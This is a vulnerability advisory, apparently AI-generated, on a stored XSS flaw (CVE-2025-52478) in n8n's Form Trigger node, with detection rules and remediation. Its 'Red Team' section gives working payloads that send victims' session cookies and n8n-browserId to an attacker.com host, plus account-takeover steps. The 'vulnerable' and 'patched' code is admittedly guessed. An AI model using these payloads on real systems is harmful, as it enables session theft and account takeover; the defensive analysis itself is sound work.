CVE-2025-52478

Executive Summary

CVE-2025-52478 is a critical stored Cross-Site Scripting (XSS) vulnerability in n8n, a popular workflow automation platform. The flaw resides in the Form Trigger node's HTML form element, allowing an authenticated attacker to inject malicious HTML and JavaScript. By crafting a form with an <iframe> using a srcdoc attribute or a <video> element with a <source> tag and an onerror event, an attacker can execute arbitrary JavaScript in the context of any authenticated user who visits the malicious form. This leads to session cookie and n8n-browserId exfiltration, enabling full Account Takeover (ATO), including changing email addresses and bypassing authentication if 2FA is not enabled. The vulnerability affects versions from 1.77.0 to before 1.98.2. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but the impact is severe.

Supply Chain & Package Security

n8n is distributed as an npm package (n8n). This vulnerability affects the core application, not a dependency. However, organizations using n8n in their supply chain (e.g., as a SaaS or self-hosted automation tool) must treat this as a critical supply chain risk. An attacker with low-privilege access can compromise the entire workflow environment and exfiltrate sensitive data processed by workflows.

CVSS Breakdown & Threat Level

• CVSS Score: 8.7 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs an authenticated account.
• User Interaction (UI): Required (R) – Victim must visit the malicious form.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): High (H) – Full session data and browser ID exfiltration.
• Integrity (I): High (H) – Account takeover and data manipulation.
• Availability (A): High (H) – Potential denial of service via account lockout.

Threat Level: Critical. Although EPSS is 0.0%, the ease of exploitation and high impact make this a priority for patching.

Deep Dive & Mechanics

The vulnerability exists in the Form Trigger node, which allows users to create custom HTML forms for workflow input. The node does not properly sanitize user-supplied HTML content, specifically in the form element's inner HTML. An attacker can inject:

1. Iframe with srcdoc: <iframe srcdoc="<script>alert(1)</script>"></iframe> – The srcdoc attribute bypasses typical XSS filters because it is rendered as a separate document context, but the injected script still executes in the same origin.
2. Video with source and onerror: <video><source onerror="alert(1)"></video> – The onerror event on the <source> tag fires when the video fails to load, executing arbitrary JavaScript.

When a victim (another authenticated user) visits the crafted form, the injected JavaScript executes. The payload can access document.cookie and localStorage to steal the n8n-browserId and session cookies. These are then exfiltrated to an attacker-controlled server via fetch or XMLHttpRequest. With these tokens, the attacker can impersonate the victim, change their email address, and gain full control of the account.

Vulnerable vs. Patched Code

Vulnerable Code (n8n < 1.98.2): The Form Trigger node likely renders user-provided HTML directly without sanitization. For example, in the node's configuration, the HTML string is inserted into the DOM via innerHTML or similar.

// Vulnerable: Direct insertion of user input
formElement.innerHTML = userProvidedHtml;

Patched Code (n8n >= 1.98.2): The patch sanitizes the HTML input using a library like DOMPurify or by escaping dangerous tags and attributes.

// Patched: Sanitize input before rendering
const sanitizedHtml = DOMPurify.sanitize(userProvidedHtml);
formElement.innerHTML = sanitizedHtml;

The patch specifically removes or escapes <iframe>, <video>, <source>, and event handlers like onerror, onload, etc.

Exploitation & Lab Setup

Red Team

Prerequisites:

• An authenticated n8n account with permission to create/modify workflows.
• Access to the Form Trigger node.

Exploit Steps:

1. Create a new workflow with a Form Trigger node.
2. In the form HTML configuration, inject the following payload:

<iframe srcdoc="<script>
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie) + '&browserId=' + encodeURIComponent(localStorage.getItem('n8n-browserId')), true);
  xhr.send();
</script>"></iframe>

3. Save the workflow and share the form URL with the victim.
4. When the victim visits the form, the script executes and exfiltrates their session data.
5. Use the stolen n8n-browserId and session cookie to impersonate the victim. For example, set the cookie in your browser and access the n8n dashboard as the victim.
6. Change the victim's email address to lock them out.

Alternative payload using video:

<video><source onerror="fetch('https://attacker.com/steal?data='+btoa(document.cookie))"></video>

Blue Team

Detection and Response:

1. Monitor for unusual form creation events in n8n audit logs.
2. Inspect form HTML content for <iframe>, <video>, <source>, and event handlers.
3. Block outbound connections to unknown domains from n8n servers.
4. Enforce Content Security Policy (CSP) headers to restrict script execution.
5. Enable 2FA for all n8n accounts to mitigate ATO even if cookies are stolen.

Lab Setup:

• Deploy a vulnerable n8n instance (version 1.77.0 to 1.98.1) in an isolated environment.
• Create a test user with low privileges.
• Use a Python HTTP server to capture exfiltrated data: python3 -m http.server 8080.
• Execute the exploit and observe the captured cookies.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains containing cookie or browserId parameters.
  • Unusual POST or GET requests to /rest/ endpoints with stolen session tokens.
• File IOCs:
  • Form trigger node configurations containing <iframe srcdoc=...> or <video><source onerror=...>.
• Log IOCs:
  • Audit logs showing creation of forms with suspicious HTML content.
  • Multiple failed login attempts from the same IP after ATO.
• Registry/Config IOCs:
  • Changes to user email addresses in n8n user database.

Detection Engineering

YARA Rule

rule n8n_CVE_2025_52478_XSS_FormTrigger {
    meta:
        description = "Detects malicious HTML payloads targeting n8n Form Trigger XSS vulnerability"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-52478"
    strings:
        $iframe_srcdoc = /<iframe[^>]*srcdoc\s*=/i
        $video_source_onerror = /<video[^>]*>.*<source[^>]*onerror\s*=/i
        $event_handler = /onerror\s*=|onload\s*=|onclick\s*=|onmouseover\s*=/i
    condition:
        any of ($iframe_srcdoc, $video_source_onerror) or
        (all of ($event_handler) and #event_handler > 2)
}

Sigma Rule

title: n8n Form Trigger XSS Payload Detection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects creation of n8n forms with XSS payloads (CVE-2025-52478)
author: Valters IT
date: 2025-04-10
logsource:
    product: n8n
    service: audit
detection:
    selection:
        event_type: "form_created"
        form_html|contains:
            - "<iframe srcdoc="
            - "<video><source onerror="
    condition: selection
falsepositives:
    - Legitimate use of iframes in forms (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"n8n CVE-2025-52478 XSS Payload in Form Trigger"; flow:to_server,established; content:"<iframe"; nocase; content:"srcdoc"; nocase; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)
alert http any any -> any any (msg:"n8n CVE-2025-52478 XSS via Video Source"; flow:to_server,established; content:"<video"; nocase; content:"<source"; nocase; content:"onerror"; nocase; distance:0; within:200; classtype:web-application-attack; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade n8n to version 1.98.2 or later.
2. If immediate upgrade is not possible, disable the Form Trigger node or restrict its use to trusted users only.
3. Review all existing Form Trigger configurations for malicious HTML.
4. Rotate all session cookies and n8n-browserId tokens for all users.
5. Enable 2FA for all accounts.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) rule to block <iframe srcdoc> and <video><source onerror> patterns.
• Apply Content Security Policy (CSP) headers: default-src 'self'; script-src 'self'.
• Conduct regular security audits of n8n workflows.
• Monitor n8n GitHub advisories for future patches.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.